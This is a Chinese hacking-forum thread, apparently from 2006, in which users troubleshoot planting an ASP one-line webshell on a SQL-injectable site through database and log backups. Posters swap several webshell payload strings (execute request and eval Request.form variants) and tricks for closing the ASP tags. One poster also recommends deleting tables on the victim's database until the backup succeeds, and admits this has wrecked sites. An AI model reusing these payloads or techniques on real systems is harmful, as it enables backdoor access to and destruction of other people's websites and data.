议题作者：灰色轨迹
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

议题内容：
好久的一个注入点了，DB_OWNER权限，在备份时我花了N种备份方法，比如备份<%execute request("guiji")%>和<%%25execute request("guiji")%%25>等，都出现无效字符，今天又用小路写的工具备份如下代码：%><%<%execute(request("guiji"))%25%>结果如下：

Microsoft VBScript 编译器错误 错误 &#39;800a0400&#39;

缺少语句

/aaa.asp，行 7011

<%execute(request("guiji"))%25
^

还不知哪儿出错了，我再备份如下代码：%><%<%execute(request("guiji"))% >%>
（我将上面的25换成了空格）

Microsoft VBScript 编译器错误 错误 &#39;800a0400&#39;

缺少语句

/aaa.asp，行 7034

<%execute(request("guiji"))% >
^

感觉要成功了，可是就是不成功，不知道怎么办了，大家议议这是怎么回事，如何解决?

闭合的问题，向这样<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form(&#39;#&#39;)+&#39;&#39;)</SCRIPT>%>就可以了

这样的代码我早试过了，都不行啊，不知有没有通过修改一下我上面的代码来将它闭合

碰到上面的情况，我一般用两种方法突破！一种就是LOG备份，另一种有点危险性（不要模仿  [s:58] ）,就是在数据库里删掉一些可疑的表，删一个备份一次。呵呵。成功过不少的！也有毁掉过不少的！ [s:58]

刚碰到个Microsoft VBScript 编译器错误 错误 &#39;800a0408&#39;

无效字符

/sys2/x.asp，行118

l]?
-^

引用:

这里是引用第[3 楼]的蜀山剑客于2006-04-23 15:59发表的：
碰到上面的情况，我一般用两种方法突破！一种就是LOG备份，另一种有点危险性（不要模仿  [s:58] ）,就是在数据库里删掉一些可疑的表，删一个备份一次。呵呵。成功过不少的！也有毁掉过不少的！ [s:58]

我晕哦~~~~~ [s:92]    LOG备份确实大大提高的成功率  但你所说的删表再备份可不是个太好的办法啊~~
首先对管理员来说~~~人家建个站也不容易  万一人家没有备份  或着本机调试的数据库也不完整....体谅一下人家哦   [s:89]   况且你目的无非是解决网站系统对代码的过滤吧~~~那请你实在没别的办法的时候也最好是看看那站是不是些开源的管理程序  如果是你下个对照下  确定那些表可能是二次开发的时候管理员加进去的再考虑去删除表达到效果吧     [s:74]

今天正好也碰到个这个问题
<%%25execute request("a")%%25>
未闭合.
然后再次备份..直接 %>
成功

引用:

这里是引用第[5 楼]的donker于2006-04-23 18:36发表的：


我晕哦~~~~~ [s:92]    LOG备份确实大大提高的成功率  但你所说的删表再备份可不是个太好的办法啊~~
首先对管理员来说~~~人家建个站也不容易  万一人家没有备份  或着本机调试的数据库也不完整....体谅一下人家哦   [s:89]   况且你目的无非是解决网站系统对代码的过滤吧~~~那请你实在没别的办法的时候也最好是看看那站是不是些开源的管理程序  如果是你下个对照下  确定那些表可能是二次开发的时候管理员加进去的再考虑去删除表达到效果吧     [s:74]

呵呵，我都说了危险性大，不要模仿了。不管怎么说。这是一个解决方法。但是不能乱用。特别是对数据库结构不了解的情况下。很可能一不小心。毁了数据库。网站就瘫痪了。只是说出来交流一下。没有说去删人家数据库。

引用:

这里是引用第[7 楼]的蜀山剑客于2006-04-24 09:57发表的：



  呵呵，我都说了危险性大，不要模仿了。不管怎么说。这是一个解决方法。但是不能乱用。特别是对数据库结构不了解的情况下。很可能一不小心。毁了数据库。网站就瘫痪了。只是说出来交流一下。没有说去删人家数据库。

这种方法也试过了，不行啊

引用:

这里是引用第[8 楼]的xindong于2006-04-25 10:37发表的：



这种方法也试过了，不行啊

那是因为你没有删对表！

[s:75]    你在前面加个%>就OK 了 [s:75]

引用:

这里是引用第[6 楼]的NetKnave于2006-04-23 23:31发表的：
今天正好也碰到个这个问题
<%%25execute request("a")%%25>
未闭合.
然后再次备份..直接 %>
成功

无论我怎么备份，总是在缺少%>和无效字符两者之间变换